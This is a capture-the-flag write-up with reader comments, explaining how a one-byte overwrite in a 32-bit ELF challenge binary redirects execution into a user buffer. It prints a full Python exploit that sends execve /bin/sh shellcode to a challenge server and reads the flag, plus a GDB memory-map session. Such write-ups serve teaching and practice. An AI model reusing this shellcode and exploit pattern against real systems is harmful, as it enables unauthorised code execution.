We have a 32 bit ELF executable, with RWX permission in stack and 0x08049000-0x0804a000 memory. 61 bytes of user input is taken using read() function. Then the binary performs couple of checks
[*] User input should be greater than 32 bytes
[*] The sum total of value of each byte, should be 0x1ee7. This is done by looping through user input till a NUL byte is hit
We wrote a python script to generate all possible instructions for bytes 0 to 255 using ndisasm. Byte 0x97 gave the instruction necessary to redirect execution to user buffer
[*] User input should be greater than 32 bytes
[*] The sum total of value of each byte, should be 0x1ee7. This is done by looping through user input till a NUL byte is hit
[ctf@renorobert SIGINT]$ objdump -d -M intel ./baremetal | grep cmp 80480cb: 83 f8 20 cmp eax,0x20 80480df: 81 fb e7 1e 00 00 cmp ebx,0x1ee7Once these checks are passed, we could see
0x80480e7: lea ecx, ptr [0x8049204] 0x80480ed: movzx ebx, byte ptr [ecx] 0x80480f0: test ebx, ebx 0x80480f2: jz 0x80480fb 0x80480f4: call 0x804813b 0x804813b: pop edi 0x804813c: jmp edi 0x80480f9: jmp ecxECX points to 0x8049204, which has the bytes 0xe7ff4747. This is nothing but
00000000 47 inc edi 00000001 47 inc edi 00000002 FFE7 jmp ediWith 61 bytes as input we can overwrite one byte of the above sequence. So we have to figure out a way to redirect execution to the user buffer using this one byte overwrite. At this point register EAX points to 0x80491c8, which is start of the read() buffer.
We wrote a python script to generate all possible instructions for bytes 0 to 255 using ndisasm. Byte 0x97 gave the instruction necessary to redirect execution to user buffer
00000000 97 xchg eax,edi 00000001 47 inc edi 00000002 FFE7 jmp ediUsing this sequence we can jump to the address 0x80491c9. Our payload should satisfy the cmp ebx,0x1ee7 check. Here is the final exploit
#!/usr/bin/env python from struct import pack import socket ip = '188.40.147.100' port = 1024 # http://shell-storm.org/shellcode/files/shellcode-752.php shellcode = ("\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" + "\x73\x68\x68\x2f\x62\x69\x6e\x89" + "\xe3\xb0\x0b\xcd\x80") overwrite = pack("B", 0x97) # xchg eax,edi # inc edi # jmp edi padding = pack("B", 0x90) * 37 + pack("B", 0x00) payload = pack("B", 0x0f) + shellcode + padding + overwrite # 1st byte is skipped due to inc edi soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) soc.send(payload + "cat /home/challenge/flag\n") print soc.recv(1024) print soc.recv(1024)Running this we got the flag SIGINT_are_you_getting_warmed_up?
great write up, thx !
ReplyDeletejust one question, how did u know the stack was RWX? i tried a readelf -l and checksec.sh script without success...
Hey thanks :) I used GDB to find the permissions.
Delete[ctf@renorobert ~]$ gdb -q ./baremetal
Reading symbols from /home/ctf/baremetal...(no debugging symbols found)...done.
(gdb) catch syscall read
Catchpoint 1 (syscall 'read' [3])
(gdb) run
Starting program: /home/ctf/baremetal
baremetal online
Catchpoint 1 (call to syscall read), 0x0804817a in ?? ()
(gdb) info program
Using the running image of child process 11601.
Program stopped at 0x804817a.
It stopped at breakpoint 1.
(gdb) shell cat /proc/11601/maps
08048000-08049000 r-xp 00000000 08:08 128753 /home/ctf/baremetal
08049000-0804a000 rwxp 00000000 08:08 128753 /home/ctf/baremetal
f7ffd000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
fffe9000-ffffe000 rwxp 00000000 00:00 0 [stack]
In the memory map you can see the stack and address range 0x08049000-0x0804a000 (.bss/.data segment) marked as RWX
great ! thx for the explanations
ReplyDelete